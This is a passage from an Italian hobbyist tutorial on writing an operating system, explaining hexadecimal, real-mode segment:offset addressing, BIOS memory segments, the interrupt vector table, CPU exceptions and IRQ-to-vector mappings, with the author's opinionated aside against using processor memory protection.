| frittata e' fatta e la stupidaggine e' rimasta. Ma ok, non cominciamo a |
| parlare dei compilatori C/C++ perche' se penso a tutte le loro idiozie |
| mi viene fuori un libro, e poi tutti i fans di questi linguaggi mi |
| mandano un quintale di hate-mail. |
| Comunque, riprendendo il filo del discorso, la "h" e' il modo UFFICIALE |
| per indicare un valore esadecimale, e sul 99% dei documenti che vi |
| potra' capitare di consultare troverete quella notazione. |
| |
| Uhm... che vuol dire 449h? Cioe', che numero e'? |
| E' semplice: se fosse in decimale, sapremmo che 4 sono le centinaia, 4 |
| le decine e 9 le unita'. Quindi avremmo 449 = (4 x 100) + (4 x 10) + 9. |
| Dato che e' in ESAdecimale, usiamo le duecentociquantaseiine e le |
| sedicine, e quindi abbiamo 449h = (4 x 256) + (4 x 16) + 9. Facendo i |
| conti, viene fuori come risultato 1097. Quindi 449 in esadecimale |
| significa 1097 in decimale. Tuttavia, questo ancora non risponde alla |
| domanda "perche' si usa l'esadecimale?"... be', per molti motivi, che |
| derivano tutti da uno solo: |
| sedici e' una comoda potenza di 2. Voi sapete che il PC conta in |
| binario, quindi, come nel nostro sistema decimale sono importanti le |
| potenze del dieci (decine, centinaia, migliaia, decine di migliaia |
| eccetera...), in quello binario sono ugualmente importanti le potenze |
| del due. Guarda caso, 16 e' appunto due alla quarta. In pratica, |
| significa che per scrivere una cifra esadecimale mi servono FINO A |
| QUATTRO cifre binarie; in altre parole, una cifra esadecimale raggruppa |
| 4 cifre binarie. Cosi, invece di doversi confrontare con lunghe sequele |
| di uni e di zeri, con le quali e' facilissimo sbagliarsi, abbiamo |
| sequenze scritte come 1A59FC, B0732A, 3CC87D4... che sono piu' semplici |
| da leggere e da trascrivere, PUR MANTENENDO UNA SEMPLICE corrispondenza |
| col sottostante codice binario. Infatti, osservando questa tabellina, |
| possibilmente da imparare a memoria (magari col tempo): |
| |
| 0000 = 0 |
| 0001 = 1 |
| 0010 = 2 |
| 0011 = 3 |
| 0100 = 4 |
| 0101 = 5 |
| 0110 = 6 |
| 0111 = 7 |
| 1000 = 8 |
| 1001 = 9 |
| 1010 = A |
| 1011 = B |
| 1100 = C |
| 1101 = D |
| 1110 = E |
| 1111 = F |
| |
| si puo capire dove sta la comodita' nell'uso dell'esadecimale. Molte |
| cifre tonde in binario rimangono cifre tonde anche in esadecimale, e |
| possono essere sommate e sottratte in modo abbastanza naturale, una |
| volta che si e' fatta un po' di pratica. Per esempio il numero decimale |
| 1024, che e' una potenza di 2 (infatti e' due alla decima), si scrive |
| come: |
| |
| 1024 = 10000000000 in binario |
| 1024 = 400 in esadecimale |
| |
| e riferendosi alla tabellina sopra esposta, si puo scomporre la versione |
| binaria in sequenze di QUATTRO cifre, ottenendo una facile conversione: |
| |
| 0100 0000 0000 |
| | | | |
| 4 0 0 |
| |
| il numero 1024 e' parte dell'indirizzo a cui mi riferivo prima: 449h. |
| Infatti 449h e' il risultato di 400h + 49h, seguendo le normali regole |
| della numerazione posizionale, proprio come abbiamo sempre fatto nella |
| nostra beneamata base dieci. Non c'e' nessuna difficolta' aggiuntiva. |
| |
| Tornando finalmente al discorso degli indirizzi in modalita' reale, c'e' |
| un motivo anche per il fatto che abbia scelto di dividervi il numero |
| proprio nelle due parti 400h e 49h. Avrei potuto dire 440h + 9h, per |
| esempio, ma ho preferito l'altra suddivisione perche' evidenzia il |
| rapporto che c'e' fra il SEGMENTO e l'OFFSET di un indirizzo in |
| modalita' reale. |
| Ho detto che 449h, in modalita' reale, viene scritto come 40h:49h. |
| No, non mi sono dimenticato uno zero, e' proprio 40h:49h e non 400h:49h. |
| Questo perche' bisogna spiegare che cosa e' un "segmento" di memoria |
| visto dalla modalita' reale. Presto detto: e' un insieme di 16 bytes |
| contigui. In semplice, e' un modo di prendere la memoria a "mazzi" di 16 |
| bytes, piuttosto che byte per byte. Infatti la modalita' reale era stata |
| progettata per la programmazione di processori con registri di 16 bit e |
| BUS di 20 bit. |
| Orbene, 16 bit sono 16 cifre binarie, il che significa 4 cifre |
| esadecimali. Significa anche che in 16 cifre binarie si possono |
| rappresentare valori che vanno da 0000h a FFFFh. Se fate due conti, |
| equivale all'intervallo da zero a 65.535 in decimale, ovvero da zero a |
| (2 alla sedicesima meno uno). |
| Ora, la modalita' reale permette di accedere a un totale di UN MEGABYTE |
| di memoria, e qui sta l'espediente della notazione segmento/offset. |
| Perche' 65.536 celle di memoria (la cella numero zero conta, |
| naturalmente) sono in realta' 64 Kb di memoria, dato che un Kb equivale |
| a 1024 bytes (e forse ora si capisce anche perche' sono 1024 bytes e |
| non, piu' semplicemente, 1000). |
| Ma per arrivare a un megabyte servono 1.048.576 celle di memoria, che |
| sono una quantita' SEDICI volte superiore a 65.536. Ovvero, abbiamo |
| bisogno di cinque cifre esadecimali per scrivere tutti i possibili |
| indirizzi che formano un megabyte, ovvero gli indirizzi di 20 bit. Ma ne |
| abbiamo 16. |
| |
| Per risolvere questo problemino, si "replicano" i nostri 16 bit, |
| inviando al controller della memoria due valori al posto di uno, dato |
| che uno non basta (e non si puo semplicemente inviare una sequenza di |
| soli 4 bits, perche' NON ESISTEVANO E ANCORA NON ESISTONO registri di 4 |
| bits). Il BUS pero, in questo modo, NON diventava a 32 bit. Il bus, |
| quella serie di connessioni che vanno dal processore al controller della |
| memoria, era sempre limitato ai suoi poveri 20 bit. Abbiamo quasi |
| finito, eh? |
| |
| La convenzione adottata, che a prima vista sembra assurda, diventa cosi |
| perfettamente logica: se un segmento raggruppa 16 bytes, possiamo allora |
| indirizzare una quantita' di memoria 16 volte superiore a 65.536 bytes, |
| per l'appunto quel fatidico megabyte. A questo punto, per moltiplicare |
| per sedici in esadecimale dobbiamo solo spostare a sinistra di un posto |
| tutte le cifre che compongono il SEGMENTO, e poi aggiungere l'OFFSET. |
| |
| SEGM. OFFS. <- |
| 0040h:0049h = 0400h + 0049h = 00449h |
| |
| (Vista la freccina che indica lo spostamento?) |
| Dove bisogna notare che ho scritto il risultato con 5 cifre, a |
| significare che si tratta di un indirizzo il cui intervallo si estende |
| su 20 bit, mentre i suoi componenti, il segmento e l'offset, sono |
| scritti su 4 cifre perche' i registri di un processore a 16 bit possano |
| contenerli. Le cose non sono sempre cosi semplici, ma i principi della |
| numerazione posizionale sono sempre validi. Ad esempio, se il segmento |
| fosse stato il 41h, avremmo avuto il seguente risultato: |
| |
| SEGM. OFFS. <- |
| 0041h:0049h = 0410h + 0049h = 00459h |
| |
| e ci saremmo riferiti ad una locazione di memoria che, come si vede dal |
| risultato, si trova una "sedicina" di bytes piu' avanti della |
| precedente, perche' la differenza fra 459h - 449h e' di 16 bytes, e |
| *non* di dieci. |
| E questo include un consiglio: cominciate a "pensare in esadecimale". |
| |
| E un'altra cosa importante da sapere (se si vuol capire) e' questa: dato |
| che l'offset e' comunque un valore di 16 bit, per spostarsi avanti nella |
| memoria, byte per byte, non e' sempre necessario aumentare il valore del |
| segmento. Infatti, una volta "selezionato" un certo segmento, che ci fa |
| da "ancora", possiamo leggere e scrivere locazioni variando soltanto la |
| componente chiamata "offset", finche' non "sfondiamo" il limite dei 16 |
| bit, ovvero non tentiamo di scrivere o leggere qualcosa che si trova |
| piu' in la' |
| di 64 kilobytes dalla prima locazione del segmento selezionato. Infatti, |
| a partire dal solito segmento numero 40h, io posso ad esempio scrivere e |
| leggere memoria anche dalla/sulla sequente locazione (fatevi i conti): |
| |
| SEGM. OFFS. <- |
| 0040h:FFFFh = 0400h + FFFFh = 103FFh |
| |
| Ecco perche' *non e' detto* che un segmento sia sempre considerato lungo |
| 16 bytes. Lo so che inizialmente vi confondera' ancora di piu', ma che |
| ci volete fare? Cosi va la vitaccia zozza... infatti un segmento puo |
| estendersi, a piacimento, fino a 64 Kb, di fatto intersecando i 4096 |
| segmenti successivi. |
| |
| Erano duri i tempi dei 16 bit, eh? Be', probabilmente penseranno lo |
| stesso dei 32 bit i programmatori che in futuro ne useranno abitualmente |
| 64... |
| Tornando all'attuale architettura di PC con vista sul BIOS, alcuni |
| segmenti sono diventati piuttosto famosi, in quanto essi "mirano" ad |
| aree di memoria che risultano molto importanti per il BIOS e, di |
| riflesso, per un qualunque sistema operativo che volessimo scrivere. |
| Questi segmenti particolari sono i seguenti: |
| |
| 0000h - tabella dei vettori di interrupt, di 1024 bytes. |
| 0040h - BDA (BIOS Data Area), di 256 bytes, ma MOLTO densi di |
| significati. |
| A000h - pagina di memoria grafica rimappata in modalita' reale, di |
| 64 Kb. |
| B000h - pagina di memoria testuale per testo in bianco e nero, di 32 Kb. |
| B800h - pagina di memoria testuale per testo a colori, di 32 Kb. |
| F000h - segmento del BIOS (il codice del BIOS ereditato dal layout IBM) |
| il segmento del BIOS e' lungo 65.520 bytes (si, 16 in meno). |
| il segmento del BIOS NON e' memoria RAM: e' uno spazio ROM. |
| FFFFh - segmento del warm boot handler, lunghezza minima: solo 16 bytes. |
| |
| Va be', quella tabella puo essere utile, ma ora ci vuole una descrizione |
| piu' approfondita' di ciascun segmento. E per quanto riguarda le singole |
| locazioni di ogni segmento? A questo posso rispondervi con un'altra |
| domanda: - Ci siete andati a prendervi i Ralf Brown files? |
| |
| Ripeto l'indirizzo: http://www.pobox.com/~ralf/files.html |
| |
| Se l'avete fatto, bene, avete quello che vi serve: una tabella |
| dettagliata della memoria, la stessa dalla quale si evince che la |
| locazione 40h:49h contiene il numero della modalita' video corrente, |
| completa di riferimenti incrociati per trovare le altre modalita'... e |
| di un mondo d'informazioni di vitale importanza per noi novelli system |
| designers. Se non l'avete fatto, vorrei sapere che cacchio state |
| aspettando... La lista della memoria si chiama Memory.LST, ed e' un file |
| di testo anche se non ha estensione TXT. In effetti, e' meglio |
| consultare l'archivio di Ralf tramite l'EDIT del DOS, piu' che pigiando |
| sulle iconcine per ottenere solo finestrelle che rivelano quanto Windoze |
| sia scemo nella sua forzata voglia di automatizzare tutto. |
| |
| Ma vediamo a cosa servono i suddetti segmenti, in soldoni. Questo, Ralf |
| non lo dice perche' lo da' per scontato. E questo e' appunto lo scopo |
| della mia serie di articoli: selezionare e spiegare quello che serve per |
| farsi il proprio S.O. partendo da zero. Riprendo a taglia e incolla i |
| titoli menzionati prima, e aggiungo la descrizione... |
| |
| 0000h - tabella dei vettori di interrupt, di 1024 bytes. |
| |
| Per capire cosa sia un vettore d'interrupt bisogna prima capire cos'e' |
| una interrupt. Su questo non ci piove. E' quello che dice di essere: una |
| breve "interruzione" nel normale flusso di istruzioni che compongono i |
| programmi attualmente in esecuzione. Queste interruzioni servono a |
| concentrare l'attenzione del processore su un compito che deve essere |
| eseguito in quel momento, al di la' di quel che sta facendo il |
| programma. Al termine di tale compito, il controllo torna al programma |
| principale, per il quale e' come se nulla fosse successo (eccetto che |
| sara' passato un po' di tempo). |
| In pratica, un vettore d'interrupt e' qualcosa che "porta" il processore |
| ad eseguire il codice macchina che gestisce una certa interrupt quando |
| questa viene chiamata in causa. Un "vettore" si traduce molto |
| semplicemente in un indirizzo di memoria, nella classica forma |
| segmento:offset, che punta alla locazione che contiene la prima |
| istruzione del gestore. |
| Il gestore di una interrupt, inutile a dirsi, e' semplicemente un |
| programmino, ma e' un po' diverso da una normale SUBROUTINE, da un |
| normale frammento di programma, e le differenze le vedremo dopo... |
| Ci sono 256 interrupt diverse nei PC con chipset Intel. Ogni interrupt |
| ha il suo vettore, ed ogni vettore occupa 4 bytes (32 bit, suddivisi in |
| 16 per il segmento e 16 per l'offset). Quindi, in totale abbiamo bisogno |
| di 256 x 4 = 1024 bytes per conservare tutti i vettori. E questa e' |
| appunto la lunghezza del segmento ad essi riservato. L'organizzazione |
| del segmento e' la piu' semplice possibile: i primi 4 bytes (0000:0000) |
| contengono il vettore dell'interrupt zero, la prima (nella fattispecie, |
| e' quella che interviene quando il processore deve comunicare al S.O. |
| che gli e' stato chiesto di eseguire una divisione per zero); i secondi |
| 4 bytes, ovvero la locazione 0000:0004, contengono il vettore |
| dell'interrupt 1, e cosi via fino alla locazione 0000:03FC che contiene |
| il vettore d'interrupt 255. |
| Cosi come i segmenti, anche molti numeri delle interrupt, col tempo, |
| hanno assunto significati convenzionali. Cosi come esiste un significato |
| preciso per l'interrupt zero (DIVISION BY ZERO), esistono significati |
| ben precisi e addirittura *legati all'hardware* per le interrupt fino |
| alla numero 31. |
| Infatti, le prime 31 interrupt sono usate dal processore per segnalare |
| condizioni d'errore, ma non solo per questo. Tuttavia, volendo |
| descrivere quali condizioni d'errore riguardano il processore, eccovi |
| una tabellina: |
| |
| Interrupt Descrizione |
| ------------------------------------------- |
| 0 DIVISION BY ZERO |
| 1 DEBUG TRAP |
| 2 N.M.I. |
| 3 SOFTWARE BREAKPOINT |
| 4 OVERFLOW |
| 5 BOUNDS CHECK |
| 6 ILLEGAL OPCODE |
| 7 COPROCESSOR NOT AVAILABLE |
| 8 DOUBLE FAULT |
| 9 COPROCESSOR SEGMENT OVERRUN |
| 10 INVALID T.S.S. |
| 11 SEGMENT NOT PRESENT |
| 12 STACK EXCEPTION |
| 13 GENERAL PROTECTION FAULT |
| 14 PAGE FAULT |
| 15 (NON UTILIZZATA) |
| 16 COPROCESSOR ERROR |
| 17...31 (NON UTILIZZATE) |
| |
| Naturalmente cerchero di spiegare cosa significa una chiamata a uno di |
| questi vettori, e cosa puo provocarla. Pero, per semplificare, evitero |
| di entrare nei dettagli del sistema di protezione dei processori Intel. |
| Molti pensano che questo sistema di protezione sia stata una buona idea. |
| Io no, e benche' sappia perfettamente come funziona, non mi piace, non |
| lo uso, e soprattutto non perdero un enormita' di tempo a spiegarvi i |
| suoi meandri. |
| Se siete preoccupati per questo, non c'e' ragione di esserlo: non vi |
| perdete nulla, solo una noia mortale per un qualcosa che alla fine |
| sareste grati di non aver mai conosciuto o dovuto conoscere. I PC |
| funzionano lo stesso, e piu' velocemente, senza questi sistemi di |
| "protezione". Se poi qualcosa va storto e qualche locazione del S.O. |
| viene sovrascritta da un programma che funziona male, la volete sapere |
| la mia opinione? Non e' cosi grave... al limite, si pianta tutto, cosa |
| che succede LO STESSO applicando i sistemi di protezione (vedi i "blue |
| screens" di Windoze). Tutti quelli che conosco e che conoscono il |
| sistema di protezione di questi processori sono concordi nel ritenerlo |
| di non vitale importanza. Chi la pensa diversamente, col dovuto rispetto |
| per poche eccezioni, IN GENERE non lo conosce bene, ma ne ha sentito |
| parlare come di un qualcosa che protegge il sistema e che quindi e' per |
| definizione "una cosa giusta". Personalmente semplifico il sistema di |
| protezione al massimo, inizializzando una modalita' FLAT a 32 bit che |
| da' accesso a tutta la memoria in modo lineare. Poi vi spiego cosa |
| significa, ma lo dico per l'esperto che non vorrei pensasse che io stia |
| sempre qui a girarmi i pollici nella modalita' reale. |
| |
| Se volete addentrarvi in quel labirinto, potete andarvi a cercare |
| questo: |
| INTEL 80386 PROGRAMMER'S REFERENCE MANUAL 1986 |
| che fra l'altro e' disponibile in internet, anche se non so di preciso |
| dove, e dalle cui prime righe si evince addirittura che Intel ha |
| registrato come trademark la lettera "i" minuscola; cosa questo |
| comporti, non saprei... |
| Ma poi non dite che non vi avevo avvertiti... |
| Uhmm... porca miseria, sto divagando troppo oggi. |
| Tornando al significato delle interrupts... |
| |
| interrupt 0 - DIVISION BY ZERO |
| viene chiamata quandunque al processore venga chiesto di eseguire una |
| divisione per zero che riguardi numeri INTERI (e non in virgola mobile). |
| |
| interrupt 1 - DEBUG TRAP |
| riguarda il sistema di protezione, per intercettare certe eccezioni che |
| si verificano durante il debugging di un programma. Ignoriamola pure. |
| |
| interrupt 2 - N.M.I. |
| e' molto importante, anche se non la vedrete probabilmente mai |
| verificarsi. N.M.I. sta per Non-Maskeable Interrupt. Vedete, |
| "mascherare" una interrupt e' un modo per trattenerla dal verificarsi in |
| punti critici dell'esecuzione. |
| Ad esempio, tutte le interrupt tranne la NMI vengono mascherate da una |
| istruzione "CLI" (ricordate il piccolo bootstrap loader dell'altra |
| volta?). Ma ci sono cose che richiedono SEMPRE l'attenzione della CPU, |
| cose che non riguardano ne' il programma ne' il sistema operativo. Cose |
| piu' legate alla ralta', come un salto di tensione o lo spegnimento del |
| computer tramite il classico interruttore. In tali casi diverse macchine |
| hanno bisogno, per limitare i danni, di eseguire certe operazioni, e per |
| queste ragioni e' stata a suo tempo introdotta la linea NMI. Equivale, |
| se volete, ad una "chiamata d'emergenza", e puo essere innescata solo |
| via hardware. C'e' poco o niente da aggiungere: |
| non vi riguarda, quindi lasciatele fare il suo lavoro e non interferite. |
| Da notare che, a giorno d'oggi, spesso la NMI non fa assolutamente |
| niente, perche' non ci sono grossi rischi legati alle cause di quelle |
| chiamate d'emergenza. Con questo voglio dire: non abbiate troppa paura |
| di commettere errori: molto difficilmente potreste rompere il computer. |
| E a me, personalmente, in 19 anni non e' mai successo di fare un danno |
| all'hardware per via di un pezzo di software malfunzionante. Non e' |
| che non si possa fare del tutto, ma bisogna proprio farlo apposta... |
| |
| interrupt 3 - SOFTWARE BREAKPOINT |
| Ah, questa e' utile. Molto utile. Viene usata dai debuggers per fissare |
| un punto di arresto (breakpoint) del programma, in modo che al momento |
| giusto il debugger (che avra' installato un suo gestore dell'interrupt |
| 3) possa riprendere il controllo e mostrare le varie informazioni di |
| debugging, come il contenuto dei registri, l'immagine dello stack, il |
| dump della memoria... |
| il vantaggio di questa interrupt e' anche che c'e' un codice speciale |
| che la CPU interpreta come una chiamata all'interrupt 3, e che e' lungo |
| soltanto un byte. Il codice e' CCh. Per contro, l'opcode (codice |
| macchina) che presiede a una normale chiamata d'interrupt e' il codice |
| CDh, cosicche' per esempio chiamando l'interrupt 10h con il comando "int |
| 10h" in assembly, si ottiene un corrispondente codice macchina CDh 10h. |
| Invece, scrivendo un comando "int 3" non si ottiene CDh 03h (che |
| comunque e' equivalente) ma bensi il solo codice CCh. Questo facilita il |
| compito dei debuggers, che in questo modo possono essere certi di |
| ripristinare l'istruzione che segue un dato breakpoint semplicemente |
| ripristinando il contenuto del byte che e' stato rimpiazzato dal codice |
| CCh. All'avviamento, il gestore dell'int 3 in genere e' vuoto, ovvero |
| non fa nulla, ed il suo vettore punta ad una immediata istruzione "iret" |
| (interrupt return). |
| |
| interrupt 4 - OVERFLOW |
| Chiamata quando il risultato di un operazione intera e' andato oltre il |
| numero di bits (campo d'esistenza) permesso dal registro che avrebbe |
| dovuto contenere tale risultato. Un po' come voler fare FFFFh + 1 in |
| esadecimale, usando un registro a 16 bit. Il risultato sarebbe 10000h, |
| che pero non c'entra in 16 bit (4 cifre esadecimali), e che genererebbe |
| un "riporto" (detto per l'appunto CARRY). Oltre al riporto, viene |
| settato il "flag di overflow". |
| Orbene, quando questo flag e' settato *E* il processore incontra una |
| istruzione "into" (che si riferisce ad int 4) viene in effetti chiamata |
| l'interrupt 4 che gestirebbe la condizione di errore. Da notare che se |
| NON c'e' stata una condizione di overflow *E* il processore incontra |
| "into", la chiamata NON avviene. Oggi pero quasi tutti i programmi |
| preferiscono gestire tali errori per conto loro, e omettono le |
| istruzioni "into" dopo un'operazione aritmetica che potrebbe generare un |
| tale problema. In effetti ve lo consiglio: non c'e' bisogno di scomodare |
| la CPU per gestire in modo rapido ed efficiente tali errori, e qui un |
| manualino d'assembly vi viene in aiuto... |
| |
| interrupt 5 - BOUNDS CHECK |
| Relativa all'istruzione BOUND, che praticamente non usa piu' nessuno |
| perche' lenta, non accoppiabile in CPU superscalari, e scarsamente |
| utile. Mah... |
| non curatevi del techno-blablabla di prima, mettete pure un gestore che |
| stampi un errore nel vostro S.O. per questa interrupt, ma piu' di questo |
| non e' necessario... |
| |
| interrupt 6 - ILLEGAL OPCODE |
| Be', la CPU ha appena incontrato un codice operativo (opcode) che non |
| risulta avere un significato. Una sorpresa totale, insomma. Non sa cosa |
| fare, e quindi lo segnala al S.O., il quale a sua volta non avra' molto |
| da fare se non terminare il programma e lavarsene le mani. Ma e' molto |
| raro: succede se un programma malfunzionante a un certo punto salta ad |
| una locazione di memoria che contiene DATI al posto di CODICE |
| ESEGUIBILE. |
| |
| interrupt 7 - COPROCESSOR NOT AVAILABLE |
| Che ci volete fare? Non c'e', e se non c'e', non c'e'... |
| |
| interrupt 8 - DOUBLE FAULT |
| Brutta situazione. Mai capito come si dovrebbe reagire a una cosa del |
| genere: e' un crash del sistema. Praticamente viene chiamata quando uno |
| dei gestori degli altri codici di errore PROVOCA a sua volta un errore. |
| Ma la CPU era ancora in attesa del ritorno dal gestore del primo errore, |
| e quindi ora la situazione e' piuttosto intricata. Piu' di questo non |
| saprei dirvi... io mi limiterei a segnalare con un messaggio, e chiedere |
| di riavviare tutto. Mi sa che c'e' poco da fare... |
| |
| interrupt 9 - COPROCESSOR SEGMENT OVERRUN |
| Ah, be', bisogna sapere che un "segment overrun" avviene quando, ad |
| esempio, tentate di leggere o scrivere una locazione, diciamo, di 16 |
| bits / 2 bytes, ma nel segmento non c'e' piu' spazio per leggere il |
| secondo byte. Ad esempio: |
| |
| MOV SI, 0FFFFh |
| FLD word ptr [SI] ; (una "word" e' un valore di 16 bits) |
| |
| ecco: in quel caso state dicendo al coprocessore di caricare sul suo |
| stack di lavoro il contenuto della locazione all'offset FFFFh del vostro |
| corrente segmento dati. Siccome cercate di caricare due bytes, ma al |
| secondo byte la locazione diventa 10000h, che non c'entra in 16 bit, |
| questo risulta in un "segment overrun", e siccome lo ha provocato |
| un'istruzione eseguita dalla FPU (coprocessore matematico), viene |
| chiamato COPROCESSOR SEGMENT OVERRUN. |
| Facile no? No, eh? Be', studiatevi l'assembly... |
| |
| interrupt 10 - INVALID T.S.S. |
| Bah, Invalid Task State Segment... |
| Ignoratela: riguarda il sistema di protezione. |
| |
| interrupt 11 - SEGMENT NOT PRESENT |
| Scatta quando un segmento di memoria virtuale e' descritto, dal suo |
| "descrittore", come "non presente", ovvero non caricato in memoria RAM. |
| La memoria virtuale, con la quale assolutamente non mi sporchero le |
| mani, e' quella tecnica che consiste nell'allocare un po' di memoria di |
| massa, dalle unita' apposite (in genere dischi rigidi), in modo che essa |
| integri la memoria centrale, ovvero la RAM, quando quest'ultima |
| scarseggia. Cosa poi sia un descrittore, cosa sia un selettore di |
| segmento, cosa siano la GDT (Global Descriptors Table) e la IDT |
| (Interrupt Descriptors Table), sara' meglio che lo spieghi un'altra |
| volta, per quanto sia roba importante. |
| |
| interrupt 12 - STACK EXCEPTION |
| Qualcuno (programma o S.O.) ha "sforato" lo stack da sopra o da sotto. |
| Come saprete dal capitolo procedente, lo stack e' un'area di memoria che |
| i programmi e il sistema usano per conservare valori temporanei. Ma |
| quando quest'area finisce perche' ci sono stati salvati troppi valori, e |
| nel caso in cui il processore sappia di preciso dove finisce l'area di |
| stack, be', viene segnalato questo errore. Che pero succede anche se si |
| tenta di tirare fuori (POP) un valore dallo stack quando non ce ne sono |
| rimasti. In modalita' FLAT a 32 bit, il processore in genere non sapra' |
| dove comincia e finisce lo stack (saranno fatti nostri) e quindi questo |
| errore non avra' piu' molto senso, ne' si verifichera' mai in condizioni |
| normali... |
| |
| interrupt 13 - GENERAL PROTECTION FAULT |
| Hah! Questa e' bella! Se ve la presento sotto un'altro aspetto, molto |
| probabilmente vi risultera' ben piu' familiare e comprensibile... |
| |
| "Il programma ha causato un'eccezione di protezione generale |
| e verra' terminato. Se il problema persiste, provare a |
| riavviare il computer." |
| |
| E' quello che succede, rare volte a ragione e spesse volte "a vuoto", a |
| chi usa il sistema di protezione: volete ancora essere "protetti" |
| da una macchina senza cervello? D'accordo, sono stato cattivo: mi scuso, |
| ed aggiungo che volevo solo dire che, nella mia MODESTA opinione, la |
| migliore protezione per un sistema operativo e' avere bravi |
| programmatori, i quali non solo progettino il S.O. in modo razionale ed |
| efficiente, ma applichino le stesse cure alle singole applicazioni. |
| Se gli errori ci sono, si faranno vedere, in un modo o nell'altro. |
| Passo subito ad auto-umiliarmi precisando che, in un sistema senza |
| protezione, l'intero S.O. va incontro ad un probabile crash se crasha |
| un'applicazione, perche' niente impedisce all'applicazione di |
| sovrascrivere la memoria del S.O. In un sistema *con* protezione, il |
| S.O. ha molte meno probabilita' di crashare in tali casi. |
| Ma comunque, il programma si pianta, in quel modo tristemente famoso... |
| In breve, quel che sostengo e' "eliminiamo gli errori per quanto |
| possibile, invece di tentare di limitare i danni". |
| |
| Bisogna infatti considerare gli svantaggi del sistema di protezione: |
| - i controlli rallentano *enormemente* l'esecuzione delle applicazioni; |
| - come detto, e' spesso "troppo sensibile", e scatta praticamente a |
| vuoto; |
| - rende tutti i programmi ed il S.O. stesso, MOLTO piu' complicati e |
| quindi piu' esposti alla presenza di errori, nonche' piu' lenti, meno |
| performanti. |
| |
| Certo, poi dipende da voi, ma se dovete scegliere qualora il vostro S.O. |
| dovra' o meno applicare tecniche di protezione, sceglietelo dall'inizio, |
| ed eventualmente andate ad istruirvi in proposito. Cambiare idea a meta' |
| del lavoro o in release future e' molto scoveniente: praticamente |
| fareste prima a ricominciare daccapo. Personalmente, qui lo dico e |
| sottolineo, il sistema che andro a illustrare SARA` DEL TIPO NON |
| PROTETTO, in cui cioe' tutte le applicazioni avranno a disposizione gli |
| stessi PRIVILEGI del S.O. stesso. L'aumento dell'efficienza e' |
| valutabile da un MINIMO del 30% in piu' di velocita' rispetto a sistemi |
| protetti, ad un massimo che varia da applicazione ad applicazione ma che |
| puo spesso arrivare al 100%. |
| |
| Con tutto questo non voglio affibbiare colpe: non ce l'ho ne' con |
| Windoze ne' con Intel. E` proprio una questione oggettiva: adottare un |
| sistema di protezione come quello attualmente usato da Intel puo anche |
| essere la cosa giusta da fare, a seconda delle esigenze. E` solo che io |
| preferisco ancora non adottarlo, concentrando l'attenzione sul debugging |
| e sull'eliminazione (possibilmente totale) degli errori in primo luogo. |
| |
| interrupt 14 - PAGE FAULT |
| Di nuovo, relativa al sistema di protezione. |
| |
| interrupt 16 - COPROCESSOR ERROR |
| E` un'errore generico del coprocessore. La FPU puo scegliere, a seconda |
| di un flag depositato nel suo registro di controllo (control word), se |
| far scattare o meno questa interrupt quandunque si presenti un errore di |
| calcolo in virgola mobile (divisioni per zero, radici quadrate di numeri |
| negativi, tangenti di pigreco mezzi, overflow, underflow, eccetera). |
| Lascerei perdere questa interrupt, visto che un S.O. non dovrebbe MAI |
| aver bisogno, almeno per quanto riguarda il suo kernel, di effettuare |
| operazioni in virgola mobile: in genere, la responsabilita' di |
| controllare questo tipo di errori viene lasciata alle singole |
| applicazioni. |
| |
| interrupts rimanenti, la 15, e poi dalla 17 alla 31... |
| Non sono usate nei 386. Siccome vorrei che il nostro S.O. fosse in grado |
| di girare a partire da un processore della serie 386, lasciamole pure |
| perdere. A ogni modo, anche nei processori successivi, quand'anche |
| vengono usate, giocano ruoli molto secondari. Come dispatchers del BIOS, |
| invece, le interrupts da 16 a 31 sono MOLTO IMPORTANTI ma, onde evitare |
| confusione, vedremo piu' sotto cosa sia un dispatcher. |
| |
| Ora, bisogna imparare a distinguere due casi in cui un vettore di |
| interrupt puo essere chiamato: il primo caso e' quello descritto dai |
| paragrafi qui sopra, e si chiama "CPU-triggered interrupt", o |
| "exception"; il secondo caso e' quello in cui l'interrupt e' chiamata da |
| un programma, il che significa sia dal kernel di sistema che da un |
| applicativo. Nell'ambito del primo caso, l'interrupt generata |
| dall'hardware, bisogna ulteriormente distinguere due situazioni: la |
| prima e' quella vista sopra, in cui e' la CPU a generare l'interruzione; |
| la seconda e' quella in cui e' una PERIFERICA a richiedere |
| l'interruzione. Nel primo caso si continua a chiamarla "exception", |
| mentre nel secondo caso si usa la sigla IRQ. |
| IRQ sta per Interrupt ReQuest, "richiesta di interruzione", che avviene |
| attraverso una serie di circuiti chiamati "interrupt request lines". |
| Le periferiche hanno a disposizione 16 linee di IRQ, numerate da zero a |
| quindici, e controllate da una vecchia ma arzilla chip convenzionalmente |
| nota con la sigla "PIC", Programmable Interrupt Controller. |
| Non fatevi prendere dal panico, come diceva il defunto Douglas Adams, ma |
| c'e' ancora una suddivisione che ha luogo tra le IRQ controllate dal |
| PIC: quelle "basse" e quelle "alte". Le "low IRQ" rappresentano le linee |
| da zero a sette, mentre le "high IRQ" rappresentano quelle da otto a |
| quindici. Purtroppo, questi numeri NON SONO equivalenti, nella |
| tradizionale mappatura del PIC, a quelli dei corrispondenti vettori di |
| interrupt: voglio dire, quando una periferica genera la IRQ numero zero, |
| NON viene chiamato il vettore d'interrupt numero zero. Il numero di |
| vettore chiamato dipende, in teoria, dalle "PIC mappings"; il PIC e' |
| diviso in due gemelli, definiti come "PIC master controller" e "PIC |
| slave controller". Il master controlla le IRQ basse (0-7), mentre lo |
| slave controlla quelle alte (8-15). In teoria, questi numeri possono |
| corrispondere a diversi "blocchi" fatti di 8 vettori ciascuno, ma in |
| pratica, col tempo, la mappatura del PIC si e', diciamo, standardizzata. |
| Il risultato e' che potete star certi che il BIOS rimappa il PIC in modo |
| da far puntare le IRQ da zero a sette verso i vettori di interrupt |
| numerati da otto a quindici, mentre le IRQ da otto a quindici vengono |
| rimappate sui vettori da 70h a 77h. Siccome a questo punto avrete |
| un'irrimediabile zuppa in testa (e' normale, la prima volta che si |
| studia un casino del genere), passo a chiarire le mappature standard con |
| le due seguenti tabelline su cui potrete fare ragionevole affid
amento: |
| |
| Numero di IRQ (dec) Interrupt corrispondente (hex) Periferica |
| ------------------------------------------------------------------------ |
| 0 08h SYSTEM TIMER |
| 1 09h TASTIERA |
| 2 0Ah (vedi nota) |
| 3 0Bh COM2, porta seriale |
| 4 0Ch COM1, porta seriale |
| 5 0Dh VARI UTILIZZI |
| 6 0Eh FLOPPY DISK |
| 7 0Fh LPT1, porta parallela |
| ------------------------------------------------------------------------ |
| 8 70h CMOS REAL-TIME CLOCK |
| 9 71h (vedi nota) |
| 10 72h VARI UTILIZZI |
